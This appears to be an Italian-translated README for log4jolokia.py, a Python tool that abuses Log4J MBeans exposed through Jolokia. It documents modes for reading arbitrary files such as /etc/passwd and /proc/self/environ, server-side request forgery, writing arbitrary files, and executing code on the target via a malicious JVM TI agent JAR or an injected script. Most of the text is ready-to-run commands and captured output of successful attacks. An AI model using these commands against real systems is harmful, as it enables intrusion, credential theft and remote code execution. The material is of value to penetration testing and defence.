
Implementazione in Python3 per lo sfruttamento di Log4J tramite Jolokia
Implementazione Python3 per sfruttare gli MBean di Log4J tramite Jolokia
Aiuto generico:
usage: log4jolokia.py [-h] [-u [USER]] [-p [PASSWD]] [--proxy [PROXY]] [-H [HEADER]] {exec_jar,write_file,read_file,exec_script} [{exec_jar,write_file,read_file,exec_script} ...] target [target ...]
positional arguments:
{exec_jar,write_file,read_file,exec_script}
choose mode: exec_jar | write_file | read_file | exec_script
target URL to jolokia (e.g. http://127.0.0.1:8161/console/jolokia)
options:
-h, --help show this help message and exit
-u [USER], --user [USER]
Jolokia username
-p [PASSWD], --passwd [PASSWD]
Jolokia password
--proxy [PROXY] Optional HTTP(S) Proxy (e.g. burp at http://127.0.0.1:8080)
-H [HEADER], --header [HEADER]
Other required custom HTTP headers (e.g. -H "Origin: http://localhost"
-H "Referrer: http://localhost")
Nota: A seconda della modalità selezionata, la guida differirà in alcune sezioni.
Il programma ha le seguenti 4 modalità di sfruttamento:
Modificando l'attributo "ConfigLocationUri" di Log4J e leggendo il nuovo contenuto di "ConfigText" (usando la funzione "getConfigText(String)" o eseguendo un'azione "read" di Jolokia sull'attributo "ConfigText") tramite l'API Jolokia, un attaccante è in grado di leggere file arbitrari.
Nota: In questo caso utilizzeremo il vettore di lettura "getConfigText(String)" poiché possiamo recuperare la rappresentazione byte-esatta dell'output dei file in codifica "latin-1".
Nota 2: Questo vettore può essere utilizzato anche per accedere a server altrimenti irraggiungibili/interni:
Aiuto - Parametri specifici della lettura file:
$ python3 log4jolokia.py read_file http://a -h
***TRUNCATED***
-r [READ], --read [READ]
Absolute or relative path of a file to read on target (Use only with mode: read_file)
Example commands:
- Absolute Path:
python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r /etc/passwd -u admin -p admin -H 'Origin: http://localhost'
- Relative Path:
python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r ./artemis -u admin -p admin -H 'Origin: http://localhost'
- Specific Protocol:
-- FTP:
python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r ftp://test:[email protected]:22/test -u admin -p admin -H 'Origin: http://localhost'
-- SMB (Windows only):
python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r file:////127.0.0.1/C/test -u admin -p admin -H 'Origin: http://localhost'
-- HTTP SSRF (Usually no output a.k.a. Blind SSRF):
python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r 'http://127.0.0.1:80/test?test=test' -u admin -p admin -H 'Origin: http://localhost'
Esempio - Lettura di "/etc/passwd":
$ python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -r /etc/passwd
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Using mbean org.apache.logging.log4j2:type=21263314
[.] Setting ConfigLocationUri to point to arbitrary location /etc/passwd
[+] Successfully set ConfigLocationUri to "/etc/passwd"
[.] Reading file output from ConfigText
[+] Content of "/etc/passwd":
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
***TRUNCATED***
Esempio - Lettura di "/proc/self/environ" (il contenuto contiene caratteri non stampabili (es. byte nulli) quindi l'output sarà codificato in base64):
$ python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -r /proc/self/environ
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Using mbean org.apache.logging.log4j2:type=21263314
[.] Setting ConfigLocationUri to point to arbitrary location /proc/self/environ
[+] Successfully set ConfigLocationUri to "/proc/self/environ"
[.] Reading file output from ConfigText
[.] File "/proc/self/environ" contains non-printable characters, displaying base64 encoding
[+] Base64 content of "/proc/self/environ":
TEVTU09QRU49fCAvdXNyL2Jpbi9sZXNzcGlwZSAlcwBNQUlMPS92YXIvbWFpbC9jdGYAVVNFUj1jdGYATENfVElNRU...***TRUNCATED***
Creando e caricando una configurazione Log4J dannosa, possiamo sfruttare i valori dei parametri "RollingFile -> fileName" (dove scrivere) e "Pattern" (cosa scrivere) per scrivere contenuto arbitrario in posizioni arbitrarie. In questo caso creiamo configurazioni Log4J dannose in formato XML e sfruttiamo la funzione "setConfigText(String, String)".
Nota: Per scrivere file binari complessi, poiché il formato XML presenta specifici caratteri di controllo limitati, sono stati sfruttati altri formati di configurazione supportati (es. Properties) in un processo di scrittura in 2 passaggi.
Aiuto - Parametri specifici della scrittura file:
$ python3 log4jolokia.py write_file http://a -h
***TRUNCATED***
-lf [LOCAL_FILE], --local_file [LOCAL_FILE]
Path to local file to be written on the target (Use only with mode: write_file)
-w [WRITE], --write [WRITE]
Path of file to be written on the target (Use only with mode: write_file)
-P [PERM], --perm [PERM]
Permissions of the file written on the target. Useful for files like "authorized_keys" that require "rw-------". (Default value is "rwxrwx---") (Use only with mode: write_file)
--tmp_dir [TMP_DIR] Location of a writable directory. (Default value is "/tmp")
E.g. Unix == /tmp
Windows == C:/Users/Public
Example command:
python3 log4jolokia.py write_file http://127.0.0.1:8161/console/jolokia/ -lf 00-ff.txt -w /tmp/test_write -u admin -p admin -H 'Origin: http://localhost'
Esempio - Scrittura di "test" in "/tmp/test":
$ echo test > t.txt
$ python3 log4jolokia.py write_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -lf t.txt -w /tmp/test --proxy http://127.0.0.1:8080
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Reading content from t.txt
[.] Generating Log4J configuration
[+] Generated Log4J XML configuration
[.] Using a double setConfigText in order to flush the buffer
[.] Using setConfigText to load the Log4J XML configuration
[+] Successfully called setConfigText()
[.] Checking that the file "/tmp/test" was written successfully on the target
[+] File "/tmp/test" has been successfully written on the target
Esempio - Scrittura di un file contenente caratteri XML non validi in "/tmp/test2":
$ python3 log4jolokia.py write_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -lf 00-ff.txt -w /tmp/test2
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Reading content from 00-ff.txt
[.] Generating Log4J configuration
[.] Invalid XML characters have been detected in the content
[.] Using a 2 step write technique (XML -> Properties -> File)
[+] Generated Log4J Properties configuration
[+] Embedded Properties configuration in a XML configuration
[.] Using a double setConfigText in order to flush the buffer
[.] Using setConfigText to load the Log4J XML configuration
[+] Successfully called setConfigText()
[+] File "/tmp/mal.properties" should have successfully been written on the target
[.] Using a double setConfigLocationUri in order to flush the buffer and finish writing "/tmp/mal.properties"
[.] Setting ConfigLocationUri to point to arbitrary location file:/tmp/mal.properties
[+] Successfully set ConfigLocationUri to "file:/tmp/mal.properties"
[.] Checking that the file "/tmp/test2" was written successfully on the target
[+] File "/tmp/test2" has been successfully written on the target
Utilizzando la funzionalità presentata nel modulo "write_file", scriveremo un JAR arbitrario sul sistema target e poi useremo la funzione "jvmtiAgentLoad([Ljava.lang.String;)" per eseguire codice Java arbitrario.
Aiuto - Parametri specifici dell'esecuzione JAR:
$ python3 log4jolokia.py exec_jar http://a -h
***TRUNCATED***
-j [JAR], --jar [JAR]
Path to local jar to be executes on the target (Use only with mode: exec_jar)
--tmp_dir [TMP_DIR] Location of a writable directory. (Default value is "/tmp")
E.g. Unix == /tmp
Windows == C:/Users/Public
Example command:
python3 log4jolokia.py exec_jar http://127.0.0.1:8161/console/jolokia/ -j mal_linux.jar -u admin -p admin -H 'Origin: http://localhost'
JAR jvmtiAgent validi possono essere ottenuti da https://github.com/mbadanoiu/jvmtiAgentLoad-Exploit
Esempio - Scrittura ed esecuzione di un file JAR:
$ python3 log4jolokia.py exec_jar http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -j mal_linux.jar
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[!!!] WARNING: You are about to write and execute the contents of "mal_linux.jar" on the target system. Make sure that:
- The JAR contains a valid JVM TI agent
- Once a JAR is successfully loaded:
-- No new JAR can be loaded until the Java application is restarted (a.k.a. pick your commands wisely because you only have one shot)
-- The JAR code will execute everytime the jvmtiAgentLoad() function is successfully called (result == "return code: 0")
If you agree with the above enter "yes" to continue: yes
[.] Reading content from mal_linux.jar
[.] Generating Log4J configuration
[.] Invalid XML characters have been detected in the content
[.] Using a 2 step write technique (XML -> Properties -> File)
[+] Generated Log4J Properties configuration
[+] Embedded Properties configuration in a XML configuration
[.] Using a double setConfigText in order to flush the buffer
[.] Using setConfigText to load the Log4J XML configuration
[+] Successfully called setConfigText()
[+] File "/tmp/mal.properties" should have successfully been written on the target
[.] Using a double setConfigLocationUri in order to flush the buffer and finish writing "/tmp/mal.properties"
[.] Setting ConfigLocationUri to point to arbitrary location file:/tmp/mal.properties
[+] Successfully set ConfigLocationUri to "file:/tmp/mal.properties"
[.] Checking that the file "/tmp/mal.jar" was written successfully on the target
[+] File "/tmp/mal.jar" has been successfully written on the target
[+] Successfully called jvmtiAgentLoad()
Nota: Come indicato nel "WARNING", una volta caricato con successo un JAR JVM TI Agent (codice di ritorno: 0), ripetere le richieste successive con JAR nuovi/modificati (validi) comporterà la riesecuzione solo del JAR caricato inizialmente/per primo.
Utilizzando la funzionalità di supporto script integrata di Log4J, possiamo iniettare una configurazione dannosa contenente elementi script arbitrari.
Nota: Affinché questo exploit funzioni, Log4J deve essere configurato per consentire il rispettivo tipo di script (per impostazione predefinita non sono consentiti script).
Aiuto - Parametri specifici dell'esecuzione di script:
$ python3 log4jolokia.py exec_script http://a -h
***TRUNCATED***
-sf [SCRIPT_FILE], --script_file [SCRIPT_FILE]
Path to local file containing the script to be executed on the target (Use only with mode: exec_script)
-l [LANGUAGE], --language [LANGUAGE]
Language of the script to be executed (E.g. javascript, groovy, beanshell, etc.) (Use only with mode: exec_script)
Example command:
python3 log4jolokia.py exec_script http://127.0.0.1:8161/console/jolokia/ -sf rce.js -l javascript -u admin -p admin -H 'Origin: http://localhost'
Esempio - Esecuzione di uno script:
$ python3 log4jolokia.py exec_script http://127.0.0.1:8161/console/jolokia/ -sf rce.js -l javascript -u admin -p admin -H 'Origin: http://localhost'
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=561b61ed
[!!!] WARNING: You are about to execute a javascript script from the "rce.js" file.
Keep in mind that this script will be triggered multiple times.
If you agree with the above enter "yes" to continue: yes
[.] Reading javascript script from rce.js
[.] Using setConfigText to load the Log4J XML configuration
[+] Successfully called setConfigText()
[+] The script should have been successfully executed
Nota: Questa modalità carica lo script corrispondente, ma non ha modo di sapere se, una volta caricato, lo script viene eseguito con successo o fallisce silenziosamente.
Esempio di sfruttamento manuale della modalità "read_file":
Esempio di sfruttamento manuale della modalità "write_file" che porta a RCE:
Esempio di sfruttamento manuale della modalità "exec_jar":
Esempio di sfruttamento manuale della modalità "exec_script":